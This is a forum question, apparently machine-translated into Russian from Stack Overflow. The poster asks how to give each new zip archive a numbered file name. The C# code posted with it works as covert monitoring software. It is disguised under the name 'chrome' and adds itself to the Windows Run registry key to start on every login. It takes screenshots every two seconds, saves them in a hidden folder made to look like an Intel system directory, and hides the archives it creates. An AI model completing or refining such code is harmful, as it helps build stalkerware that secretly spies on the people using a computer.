Как кодировать свою программу, чтобы создать новое имя файла для каждого нового файла в каталоге?C#

Место общения программистов C#
Ответить Пред. темаСлед. тема
Anonymous
 Как кодировать свою программу, чтобы создать новое имя файла для каждого нового файла в каталоге?

Сообщение Anonymous »

У меня есть программа, которая берет файлы из указанной папки каждые 2 часа и заставляет их заселить в файл zip, который затем сохраняет в другой папке. Как есть, код создаст zip -файл с именем «Zip», но затем, когда он пойдет, чтобы создать второй zip -файл через 2 часа, он не сможет, потому что файл с именем «Zip» уже существует. Я хотел бы знать, как сделать так, чтобы код увидел, что уже есть файл с именем «Zip», и называет новый файл Zip «Zip2», а затем «Zip3», «Zip4» так далее и так далее. Я знаю, что эта функция уже находится в моем коде ранее для скриншотов, но я не писал эту часть кода и очень смущен тем, как я могу взять ее из этой части и применить ее к этой части. < /P>

Большое спасибо за всю помощь. Пожалуйста, попросите меня уточнить, есть ли у вас какие -либо вопросы. < /P>

Вот мой код: < /p>

using System;
using System.Threading;
using System.Reflection;
using System.IO;
using System.Drawing;
using System.IO.Compression;

namespace chrome
{
static class Program
{
static void Main()
{
//-----this code will make your program to automatically execute as computer starts----
try
{
Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
Assembly curAssembly = Assembly.GetExecutingAssembly();
key.SetValue(curAssembly.GetName().Name, curAssembly.Location);
Console.WriteLine(curAssembly.GetName());

}
catch (Exception e)
{
Console.WriteLine("show1:" + e.Message);
}
//------------------

//------------screenshot loop takes screenshots after 1 min-----------
int n = 0;
while (n == 0)
{
try
{

OnTimedEvent();
Thread.Sleep(2000);
}
catch (Exception e)
{
Console.WriteLine("show2:" + e.Message);
}
//-------------------------

}
}// main body ends !

public static string st = "";
public static string date = "";
public static string month = "";
public static string year = "";
public static string time = "";
public static string hour = "";
public static string min = "";
public static string sec = "";

private static void OnTimedEvent()
{
st = DateTime.Today.Date.ToString();
time = DateTime.Now.TimeOfDay.ToString();

hour = DateTime.Now.Hour.ToString();
min = DateTime.Now.Minute.ToString();
sec = DateTime.Now.Second.ToString();

date = DateTime.Today.Day.ToString();
month = DateTime.Today.Month.ToString();
year = DateTime.Today.Year.ToString();

Console.WriteLine("The Elapsed event was raised at {0}_{1}_{2} at time {3}_{4}_{5} ", date, month, year, hour, min, sec);

Bitmap memoryImage;
memoryImage = new Bitmap(1366, 768);
Size s = new Size(memoryImage.Width, memoryImage.Height);

// Create graphics
Graphics memoryGraphics = Graphics.FromImage(memoryImage);
// Copy data from screen
memoryGraphics.CopyFromScreen(0, 0, 0, 0, s);
string str = "";

//------------creating directory--------
if (Directory.Exists("C:\\Intel\\Logs\\dsp"))
{
Console.WriteLine("directory exits");
}
else
{
Directory.CreateDirectory("C:\\Intel\\Logs\\dsp");
File.SetAttributes("C:\\Intel\\Logs\\dsp", FileAttributes.Hidden);
Console.WriteLine("new directory created");
}
//---------------------------------------

str = string.Format("C:\\Intel\\Logs\\dsp\\{0}_{1}.png", date + month + year, hour + min + sec);

//------------

try
{
memoryImage.Save(str);
}
catch (Exception er)
{
Console.WriteLine("Sorry, there was an error: " + er.Message);
}

{
string startPath = @"c:\example\start";
string zipPath = @"c:\example\result.zip";

ZipFile.CreateFromDirectory(startPath, zipPath);

File.SetAttributes(zipPath, File.GetAttributes(zipPath) | FileAttributes.Hidden);
}
}
}
}


Подробнее здесь: https://stackoverflow.com/questions/458 ... -a-directo
Реклама
Ответить Пред. темаСлед. тема

Быстрый ответ

Изменение регистра текста: 
Смайлики
:) :( :oops: :roll: :wink: :muza: :clever: :sorry: :angel: :read: *x)
Ещё смайлики…
   
К этому ответу прикреплено по крайней мере одно вложение.

Если вы не хотите добавлять вложения, оставьте поля пустыми.

Максимально разрешённый размер вложения: 15 МБ.

  • Похожие темы
    Ответы
    Просмотры
    Последнее сообщение

Вернуться в «C#»